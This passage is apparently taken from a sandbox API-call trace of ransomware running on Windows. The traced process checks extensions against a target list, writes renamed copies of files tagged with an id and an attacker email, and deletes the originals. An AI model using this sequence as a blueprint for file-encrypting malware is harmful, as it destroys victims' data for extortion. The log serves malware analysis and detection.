returned 4 [0114.725] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString=".xlsx") returned 5 [0114.725] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0114.725] lstrlenW (lpString=".ppt") returned 4 [0114.725] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.725] lstrlenW (lpString=".zip") returned 4 [0114.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.725] lstrlenW (lpString=".rar") returned 4 [0114.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString=".bz2") returned 4 [0114.725] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.725] lstrlenW (lpString=".7z") returned 3 [0114.725] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.726] lstrlenW (lpString=".dbf") returned 4 [0114.726] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.726] lstrlenW (lpString=".1cd") returned 4 [0114.726] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0114.726] lstrlenW (lpString=".jpg") returned 4 [0114.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.726] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.726] lstrlenW (lpString="keypad.xml") returned 10 [0114.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.726] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=693) returned 1 [0114.727] CloseHandle (hObject=0x30c) returned 1 [0114.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0114.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0114.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0114.727] lstrlenW (lpString=".doc") returned 4 [0114.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.727] lstrlenW (lpString=".docx") returned 5 [0114.727] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0114.728] lstrlenW (lpString=".pdf") returned 4 [0114.728] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.728] lstrlenW (lpString=".xls") returned 4 [0114.728] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.728] lstrlenW (lpString=".xlsx") returned 5 [0114.728] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0114.728] lstrlenW (lpString=".ppt") returned 4 [0114.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0114.728] lstrlenW (lpString=".zip") returned 4 [0114.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.728] lstrlenW (lpString=".rar") returned 4 [0114.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.728] lstrlenW (lpString=".bz2") returned 4 [0114.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.728] lstrlenW (lpString=".7z") returned 3 [0114.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0114.728] lstrlenW (lpString=".dbf") returned 4 [0114.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.965] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0115.965] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0115.965] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0115.966] GetLastError () returned 0x0 [0115.966] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xae, lpOverlapped=0x0) returned 1 [0115.966] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xb0, lpOverlapped=0x0) returned 1 [0115.967] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0115.968] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0115.968] SetEndOfFile (hFile=0x30c) returned 1 [0115.968] CloseHandle (hObject=0x30c) returned 1 [0115.983] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0115.983] SetEndOfFile (hFile=0x370) returned 1 [0115.985] CloseHandle (hObject=0x370) returned 1 [0115.985] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0115.985] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.986] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.986] lstrlenW (lpString=".doc") returned 4 [0115.986] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0115.986] lstrlenW (lpString=".docx") returned 5 [0115.986] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0115.986] lstrlenW (lpString=".pdf") returned 4 [0115.987] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0115.987] lstrlenW (lpString=".xls") returned 4 [0115.987] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0115.987] lstrlenW (lpString=".xlsx") returned 5 [0115.987] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0115.987] lstrlenW (lpString=".ppt") returned 4 [0115.987] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0115.987] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.987] lstrlenW (lpString=".zip") returned 4 [0115.987] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0115.987] lstrlenW (lpString=".rar") returned 4 [0115.987] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0115.987] lstrlenW (lpString=".bz2") returned 4 [0115.987] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0115.987] lstrlenW (lpString=".7z") returned 3 [0115.987] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0115.987] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.987] lstrlenW (lpString=".dbf") returned 4 [0115.987] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0115.987] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.988] lstrlenW (lpString=".1cd") returned 4 [0115.988] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0115.988] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.988] lstrlenW (lpString=".jpg") returned 4 [0115.988] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0115.988] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.988] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.988] lstrlenW (lpString=".doc") returned 4 [0115.988] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0115.988] lstrlenW (lpString=".docx") returned 5 [0115.988] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0115.988] lstrlenW (lpString=".pdf") returned 4 [0115.988] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0115.988] lstrlenW (lpString=".xls") returned 4 [0115.988] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0115.988] lstrlenW (lpString=".xlsx") returned 5 [0115.988] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0115.988] lstrlenW (lpString=".ppt") returned 4 [0115.988] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0115.989] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.989] lstrlenW (lpString=".zip") returned 4 [0115.989] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0115.989] lstrlenW (lpString=".rar") returned 4 [0115.989] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0115.989] lstrlenW (lpString=".bz2") returned 4 [0115.989] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0115.989] lstrlenW (lpString=".7z") returned 3 [0115.989] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0115.989] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.989] lstrlenW (lpString=".dbf") returned 4 [0115.989] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0115.989] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.989] lstrlenW (lpString=".1cd") returned 4 [0115.989] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0115.989] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0115.989] lstrlenW (lpString=".jpg") returned 4 [0115.989] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0115.990] lstrcmpiW (lpString1=".txt", lpString2=".gate") returned 1 [0115.990] lstrlenW (lpString="Xusage.txt") returned 10 [0115.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0115.990] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1423) returned 1 [0115.990] CloseHandle (hObject=0x370) returned 1 [0115.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0115.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0115.991] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0115.991] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0115.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0115.992] GetLastError () returned 0x0 [0115.992] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x58f, lpOverlapped=0x0) returned 1 [0116.102] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x590, lpOverlapped=0x0) returned 1 [0116.104] ReadFile (in: hFile=0x370, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0116.104] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe8, lpOverlapped=0x0) returned 1 [0116.104] SetEndOfFile (hFile=0x30c) returned 1 [0116.104] CloseHandle (hObject=0x30c) returned 1 [0116.106] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.106] SetEndOfFile (hFile=0x370) returned 1 [0116.107] CloseHandle (hObject=0x370) returned 1 [0116.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.108] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0116.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.108] lstrlenW (lpString=".doc") returned 4 [0116.108] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.108] lstrlenW (lpString=".docx") returned 5 [0116.108] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0116.109] lstrlenW (lpString=".pdf") returned 4 [0116.109] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.109] lstrlenW (lpString=".xls") returned 4 [0116.109] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.109] lstrlenW (lpString=".xlsx") returned 5 [0116.109] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0116.109] lstrlenW (lpString=".ppt") returned 4 [0116.109] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.109] lstrlenW (lpString=".zip") returned 4 [0116.109] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.109] lstrlenW (lpString=".rar") returned 4 [0116.109] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.109] lstrlenW (lpString=".bz2") returned 4 [0116.109] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.109] lstrlenW (lpString=".7z") returned 3 [0116.109] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.109] lstrlenW (lpString=".dbf") returned 4 [0116.109] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.109] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.109] lstrlenW (lpString=".1cd") returned 4 [0116.110] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.110] lstrlenW (lpString=".jpg") returned 4 [0116.110] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.110] lstrlenW (lpString=".doc") returned 4 [0116.110] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString=".docx") returned 5 [0116.110] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0116.110] lstrlenW (lpString=".pdf") returned 4 [0116.110] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString=".xls") returned 4 [0116.110] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0116.110] lstrlenW (lpString=".xlsx") returned 5 [0116.110] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0116.110] lstrlenW (lpString=".ppt") returned 4 [0116.110] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.110] lstrlenW (lpString=".zip") returned 4 [0116.110] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0116.110] lstrlenW (lpString=".rar") returned 4 [0116.110] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0116.110] lstrlenW (lpString=".bz2") returned 4 [0116.110] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0116.111] lstrlenW (lpString=".7z") returned 3 [0116.111] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0116.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.111] lstrlenW (lpString=".dbf") returned 4 [0116.111] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0116.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.111] lstrlenW (lpString=".1cd") returned 4 [0116.111] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0116.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0116.111] lstrlenW (lpString=".jpg") returned 4 [0116.111] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0116.111] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.111] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0116.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.134] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=153) returned 1 [0116.134] CloseHandle (hObject=0x358) returned 1 [0116.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0116.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.142] GetLastError () returned 0x0 [0116.142] ReadFile (in: hFile=0x308, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x99, lpOverlapped=0x0) returned 1 [0116.144] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xa0, lpOverlapped=0x0) returned 1 [0116.145] ReadFile (in: hFile=0x308, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0116.145] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x106, lpOverlapped=0x0) returned 1 [0116.146] SetEndOfFile (hFile=0x364) returned 1 [0116.159] CloseHandle (hObject=0x364) returned 1 [0116.177] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.177] SetEndOfFile (hFile=0x308) returned 1 [0116.185] CloseHandle (hObject=0x308) returned 1 [0116.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.185] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0116.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.350] lstrlenW (lpString=".doc") returned 4 [0116.350] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.350] lstrlenW (lpString=".docx") returned 5 [0116.350] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.350] lstrlenW (lpString=".pdf") returned 4 [0116.350] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.350] lstrlenW (lpString=".xls") returned 4 [0116.350] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.350] lstrlenW (lpString=".xlsx") returned 5 [0116.350] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.350] lstrlenW (lpString=".ppt") returned 4 [0116.350] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.350] lstrlenW (lpString=".zip") returned 4 [0116.350] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.350] lstrlenW (lpString=".rar") returned 4 [0116.350] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.350] lstrlenW (lpString=".bz2") returned 4 [0116.350] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.350] lstrlenW (lpString=".7z") returned 3 [0116.350] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.351] lstrlenW (lpString=".dbf") returned 4 [0116.351] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.351] lstrlenW (lpString=".1cd") returned 4 [0116.351] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.351] lstrlenW (lpString=".jpg") returned 4 [0116.351] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.351] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0116.351] lstrlenW (lpString=".doc") returned 4 [0116.351] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.351] lstrlenW (lpString=".docx") returned 5 [0116.351] lstrcmpiW 